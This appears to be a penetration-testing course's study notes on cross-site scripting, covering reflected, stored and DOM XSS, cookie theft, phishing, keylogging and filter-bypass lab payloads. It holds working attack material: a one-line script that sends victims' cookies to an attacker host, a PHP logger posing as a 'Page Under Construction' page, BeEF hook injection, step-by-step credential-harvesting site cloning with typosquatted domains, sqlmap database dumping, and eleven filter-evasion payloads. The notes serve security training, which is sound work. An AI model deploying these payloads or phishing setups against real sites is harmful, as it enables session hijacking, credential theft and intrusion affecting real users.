XSS

Definition

  • XSS occurs when a browser renders untrusted content in a trusted environment.
  • If the content contains dynamic languages such as HTML, JavaScript and others, the browser may execute the untrusted code.

The 4 types:

Reflected XSS

It occurs when untrusted user data is sent to a web application and its immediately echoed back into the untrusted content. Then, as usual, the browser receives the code from the web server response and renders it.

<?php $name = @$_GET['name'];?>
Welcome <?=$name?>

Persistent XSS

  • Rather than the malicious input being directly reflected into the response, its stored within the web application
  • Once this occurs, its then echoed somewhere else within the web application and might be available to all visitors.
  • In this scenario, both databases and file system fiels are the target data storage mechanisms.

DOM XSS

Its a form of XSS that exists only within client-side code (typically JavaScript)

It does not reach server-side code. This is the reason why this flaw is also known as Type-0 or Local XSS.

Information we can get are the URL, history, cookies, local storage etc.

There is two keywords: sources and sinks.

In software, data flow can be thought as in water flow in aqueduct systems which starts from natural sources and ends to sinks. In software security the sources are to be considered starting points where untrusted input data is taken by application.

Sinks are meant to be the points in the flow where data depending from sources is used in a potentially dangerous way resulting in loss of Confidentiality, Integrity or Availability.

→ Moreover DOM XSS: https://code.google.com/p/domxsswiki/

Universal XSS

  • Aka UXSS
  • it dows not leverage the flaws against web applications but the browser, its extensions or its plugins.

XSS Attacks

  • The main techniques to keep track of user session is by using HTTP cookies.
  • Sometimes these cookies contain information such as username, password, and other application related information.

3 steps:

- Script Injection
- Cookie Recording
- Logging

Script Injection

Inject the malicious payload that will send the stolen cookies to our controlled CGI Accessing Cookies:

var accessibleCookies = document.cookie;

AccessibleCookies is a string containing a semicolon-separated list of cookies in key=value pairs. The result contains cookies without the HTTPOnly attribute. On HTTP connections, only cookies without the SECURE attribute set are contained in the result.

Stealing Cookies To steal cookies, we need to send the document.cookie content to something we can control, using a simple script like:

new Image().src="http://kali.site/C.php?cc="+escape(document.cookie);

Alt text

Alt text

Cookie Recording & Logging:

Once the client-side has performed the request to our controlled CGI, its time to handle the request and manage the parameter sent.

Here, we define which information to collect, how to store it and the action to perform once this valuable information is obtained.

Lets suppose we have our PHP script C.php listening on our kali machine

A basic example is to store the GET[‘cc’] content in a file.

<?php
error_reporting(0); #turn off all error reporting
$cookie = $_GET['cc']; #request to log
$file = '_cc_.txt'; #the log file
$handle = fopen($file,"a"); # open log file in append mode
fwrite($handle,$cookie."\n"); # append the cookie
fclose($handle); #append the cookie
echo '<h1>Page Under Construction</h1>'; #trying to hide suspects
>

Alt text

Once we obtain the desired cookie, we can do several operations in addition to logging. Some examples are as follows:

  • a request to an API that requires the stolen cookies (impersonation)
  • notify the attacker via email

simple solution is to use netcat

netcat -lvvp 80
<script> new Image().src="kali ip"+escape(document.cookie); </script>

Bypassing HTTPOnly Flag

This flag forces the browser to handle the cookie only when trasmitting HTTP request; thus; For client-side scripting languages (IE: JavaSCript), these cookies are practically invisible.

Cross-Site Tracking (XST)

TRACE connection:

curl <victim.site> -X TRACE -H "Test: test-header"

In JavaScript, there is the XMLHttpRequest object that provides an easy way to retrieve data from a URL.

this technique is very old and consequently modern browsers BLOCK the HTTP TRACE method in XMLHttpRequest and in other scripting languages and libraries such as JQuery, Silverlight, Flag/ACtionScript, etc.

Alt text

  • Another way to access HTTPOnly cookies is exploiting web server bugs
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0053
  • This example is related to the infamous Apace HTTP Server 2.2.x through 2.2.21 Its possible to create and then sned a burst of large cookies that then generates the 400 error page. We can then just read the response that will definitely contain the HTTPOnly cookies.

PoC = https://gist.github.com/pilate/1955a1c28324d4724b7b

  • In BeEF there is a module named Apache Cookie Disclosure, which is available under the Exploits section.

BeEF Tunneling Proxy

An alternative to stealing protected cookies is to use the victim browser as a proxy.

  • We can do this by using Tunneling Proxy in BeEF. This feature allows you to tunnel requests through the hooked browser.
  • Its also effective against web developer protection techniques such as using multiple validations like User-Agent, IP, custom headers, etc.

Defacements

  • Instead of injecting malicious code that runs behind the scenes and performs evil operations (cookie stealing) with this attack method the malicious intent is to give a precise message or misleading information to users of the attacked applications. Examples:
    http://www.xssed.com/news/110/Norton_Update_Center_critical_XSS_vulnerability/
    http://news.netcraft.com/archives/2008/04/24/clinton_and_obama_xss_battle_develops.html
    http://zerosecurity.org/2013/01/mit-hacked-defaced-by-anonymous
    

Virtual Defacement

  • Exploit a XSS flaw that does not modify the content hosted on the target web application.
  • Typically, this is what happens when abusing Reflected XSS flaws.

Persistent Defacement

  • WHen a defacement becomes persistent. In this case the attacked page is modigied permanently and, despite the Virtual Defacement type here, the attacker does not need to fool users into visiting a crafted URL.

Phising

  • The act of attempting to acquire sensitive information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication.

Fundamental steps:

  • Create a fake website that will contain the malicious code the attacker wants to execute.

Basic Example:

  • Perform a XSS phishing, alter the action attribute of the <FORM> tag in order to hijack the submitted form input.

We are assuming that the XSS flaw page is in the same page of the stolen form; if its not, we need to leverage the XSS flaw to access the form we have targeted (example: opening the page)

IN this case the defenses fail because the phishing website is the actual website.

Cloning a Website

If we want to clone an existing website or clone and inject a payload, then we may use one of the following tools:

GNU Wget
BeEF
SET site cloner

Choosing a Domain Name

  • Once the website has been cloned, you should consider where you will host the phishing site.
  • The more the domain name is similar to the victims domain name the better.
  • Add typos and playing with characters variations is the best call.

Tool:

URLCrazy
usage: urlcrazy <www.google.com>

Keylogging

  • Sometimes is helpful to know what our victim is typing during their activity on a targeted website.
  • We need client-side code that captures the keystrokes and server-side code that stores the keys sent.

JavaScript Example

Alt text

The most known frameworks also includes a keylogging feature:

Metaslpoit - http_javascript_keylogger
BeEF - event logger

Keylogging with Metasploit

auxiliary/server/capture/http_javascript_keylogger

  • it creates the JS payload and start the listening server
  • this module creates a DEMO PAGE For us. Just enable the DEMO option to with set DEMO true.

Keylogging with BeEF

  • its the upgraded version of the previous examples.
  • These logs are available For the administration user interface in the Logs tab, while withing the console they are printed as they occur.

Network Attacks

  • At a network layer we can obtain access to varieties of services that would otherwise be unavailable over HTTP.
  • Like email services, fax and print services, internal web servers and more

IP Detection

  • Retrieve as much information as possible

My Address Java Applet - http://reglos.de/myaddress/MyAddress.html //user interaction is needed

  • its usually blocked, u need to lower java security and allow the page to run the application

HTML5 WebRTC feature:

ipcalf - http://net.ipcalf.com/
improved version -  https://hacking.ventures/local-ip-discovery-with-html5-webrtc-security-and-privacy-risk/ 
# this scan local ips and other alive hosts 
# its not supported by all browser, IE and safari do not support this.

Subnet Detection

The browser Hackers handbook: http://browserhacker.com/code/Ch10/index.html

Identifying Internal Network Subnets

Steps:

- Start from a set of most common default gateway IP ranges
- Test a subset of probable IPs in the subnet
- Results... in red the discovered hosts

Ping Sweeping

Two approaches:

- Java Applets
- The same approach used before to detect subnets

Instead of testing only a couple of IPs, we will check the entire subnet.

XHR technique:

  • if a response arrives in a short amount of time then the host is alive; otherwise, after a defined threshold, the host is down.
  • Since this approach is time based, network latencies, browser networking characteristics, etc. may increase the number of false positives.

Port Scanning

PDP portscan in JS: http://web.archive.org/web/20100626084549/http:/www.gnucitizen.org/static/blog/2006/08/jsportscanner.js

- PDP uses <img> tag and DOM events to detect whether a port on a specific host is opened or closed.
- The idea is to set the image source on a specific port of the target host in order to let the browser know to perform a TCP connection to the defined port and then analyze the events.

- with Cross-Origin Resource Sharing (CORS) and WebSocket, both of which are new HTML5 features, its also possible to scan networks and ports.
- JS-Recon  = http://web.archive.org/web/20120308180633/http:/www.andlabs.org/tools/jsrecon/jsrecon.html
# a network reconnaissance tool writen in JavaScript

Self-XSS

  • In this attack, the goal is to trick victims into pasting malicious code into a browser URL bar or console.

Example: http://www.zdnet.com/facebook-flooded-with-porn-spam-3040094432/

Bypass

browsers based on Chromium strip the javascript part.

# So we can copy and paste <enter>
# Or we can drag and drop 
JavaScript:alert('Self-XSS')

# Using Data Scheme works with the same methods
data:text/html,<script>alert('Self-XSS')</script>

# We can encode the script with Base64. It works the same.

Based on Firefox

  • Mozilla Firefox disallows access to the security context of the currently loaded page if that access is attempted by javascript or data-scheme URIs entered directly into the browsers location bar.
  • Anyway its possible to execute redirects or other malicious operations with both schemes.

Redirect to hacker.site with javascript scheme:

javascript:{this.window='<script>document.location="http://hacker.site"</script>'};

Redirect to hacker.site with data scheme:

data:text/html,<script>document.location="http://hacker.site"</script>

Access objects in the DOM via bookmarks

in images:

1. Create a bookmark: Alert cookies > javascript:alert(document.cookie)
2. Click
3. Browser execute JavaScript
# this bookmarks technique is also valid in browsers like Chromium, Internet Explorer and Safari

Internet Explorer

  • data scheme is limited, but javascript is available

The only limit is similar to Chormium browsers, it will strip any leading javascript: from the pasted text before inserting into the search bar:

javascript:document.location='http://hacker.site'

Safari

  • Denies javascript from the Smart Search Field but is allowed within bookmarks
  • The data scheme is allowed too

NoScript Security Suite

  • Its a firefox extension, adds an additional security layer blocking all javascript and data URIs
  • In contrast, as with other browsers, it does not block javascript and data URI schemes within Bookmarks.

Exotic XSS Vectors

mXSS - Mutation-Based

  • This is a class of XSS vectors, which may occur in innerHTML and related FOM properties.
  • With these kind of mutations, harmless string that clearly pass all XSS filters are transformed into XSS attack vectors by the browser layout engine itself.

Its an old technique, works in IE8 or older

To test: http://html5sec.org/innerhtml

moreover: http://www.businessinfo.co.uk/labs/mxss/

<listing>&amp;lt;img src=1 onerror=alert(1)&gt;</listing>

Create an external IP to get requests

You can use NGROK or localtunnel to open an external IP to receive cookies For example.

https://github.com/inconshreveable/ngrok
https://github.com/localtunnel/localtunnel

This script can help to steal cookies:

https://raw.githubusercontent.com/lnxg33k/misc/master/XSS-cookie-stealer.py

Notes from Video

1 - Keylogging

Metasploit:

service postgresql start
service metasploit start
```bash

DOM XSS:
```js
<img/src=x style="display:none" onerror="s=document.createElement('script'); s.setAttribute('src','<beef hook>');document.head.appendChild(s)">

2 - From an XSS to a SQL Injection

BeEF > Rider > Forge Request

PoC XSS:

<span onmouseover="console.info('sounds good')">Great site</span>

Inject the BeEF hook:

random message<script src="beef hook"></script>
in BeEF > click in the target IP > use as Proxy
- configure a browser proxy such as foxyproxy
- 127.0.0.1:8080
- ignore proxy For localhost, 127.0.0.1, <our ip>

in BURP:

- Options > Connections > Upstream Proxy Server
- Destination Host:*
- Proxy Host: 127.0.0.1
- Proxy Port: 6789

- Target > Scope
- Host: <target domain or IP>

SQLMAP:

sqlmap -u "<target url/search?rnd=a1a1&name=a>" -p name --proxy="http://127.0.0.1:8080" --randomize rnd --dbms=mysql --technique=U --union-cols=7-10 --prefix "'" --sufix " # " --banner
sqlmap -u "<target url/search?rnd=a1a1&name=a>" -p name --proxy="http://127.0.0.1:8080" --current-db
sqlmap -u "<target url/search?rnd=a1a1&name=a>" -p name --proxy="http://127.0.0.1:8080" -D <name of the db> --tables
sqlmap -u "<target url/search?rnd=a1a1&name=a>" -p name --proxy="http://127.0.0.1:8080" -D <DBs name> -T <TABLEs name> --collums 

3 - Website Cloning

# edit /etc/hosts > add 127.0.0.1 cloned.test
cd /etc/apache2/sites-available > cp default cloned.test

# edit clonet.test > add ServerName cloned.test > edit DocumentRoot /var/www/cloned.test
a2ensite cloned.test
service apache2 reload

cd /var/www/cloned.test
echo 'Hello World' > index.html
test in browser

Clone with wget

cd /var/www/cloned.test/
wget -mK -nH <target site>

Clone with BeEF

beef -x

in shell:

curl -H "Content-Type: application/json; charset=UTF-8" \ -d '{"url":"<target URL>", "mount":"/amazon"}' \ -X POST http://127.0.0.1:3000/api/seng/clone_page?token=<API key from BeEF console> 

- Go to the browser and visit the address
- localhost:3000/amazon
# with beef its cloned + its automaticaly hooked 
# If the user type anything like user:password it will be redirect to the original site and BeEF will capture any info

in BeEF GUI:

Current Browser > Commands > Browser > Hooked Domain > Create Prompt Dialog
<write something> - Execute

Create a Similar Targets Domain with URLCRAZY

urlcrazy <target URL>

Cloning with The Social-Engineer Toolkit

setoolkit

in shell:

cd /usr/share/set/config; 
cp set_config set_config.bkp
edit set_config > APACHE_DIRECTORY=/var/www/cloned.test
edit HARVESTER_LOG=/var/www/cloned.test/

in SET:

1 - Social-Engineer Attacks
2 - Website Attack Vectors
3 - Credential Harvester Attack Method
2 - Site Cloner
# <in real scenarios we need to configure an external IP address, in this case well skip>
# <enter the URL to clone>

test in browser the cloned site

cd /var/www/cloned.test/
edit index.html
add in responseBody > ("An error has occurred, Please Retry!");
add setTimeout(function(){document.location.href="<the original URL of the target>";},2000);
clean other lines that are not useful to the code
mv post.php login.php 
# because the javascript want a login.php page

insert login:password in the test cloned site, it should redirect to the original after the try

go to /var/www/cloned.test/
cat harvester file 

# it should show the login:password captured

Lab - 11 Levels to Bypass XSS

1 - normal

<script>alert("l33t")</script>

2 - bypass script

<script<script>>alert("l33t")</script>

3 - no script allowed

<img/src onerror=alert("l33t")>

4 - no script / no ON allowed

<svg><script>alert('l33t')

5 - no ON, no functions

<svg><script>alert&lpar;'l33t'&rpar;

6 - no alert

<script>\u0061lert('l33t')</script>

7 - No Unicode escaping / no alert

<script>eval('\x61lert(\'l33t\')')</script>

8 - No alert / no products

[NL]eval('x61lert(\'l33t\')'
</Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm`l33t` //>#
</Title/</script/><img src=x onerror="\u0061lert('l33t')"/>#
</script><svg onload="eval(atob('YWxlcnQoJ2wzM3QnKQ=='))"> 

9 - stronger bypass - no alert / no products

[\u2028]eval('x61lert(\'l33t\')'
</Title/</script/><Input Type=Text Style=position:fixed;top:0;left:0;font-size:999px */; Onmouseenter=confirm`l33t` //>#
</Title/</script/><img src=x onerror="\u0061lert('l33t')"/>#
</script><svg onload="eval(atob('YWxlcnQoJ2wzM3QnKQ=='))"> 

10 - no string / no alert /

<script>eval(8680439..toString(30))(983801..toString(36))</script>

11 - no scripts / dont break src tag

http://11.xss.labs%2f@hacker.site/X.js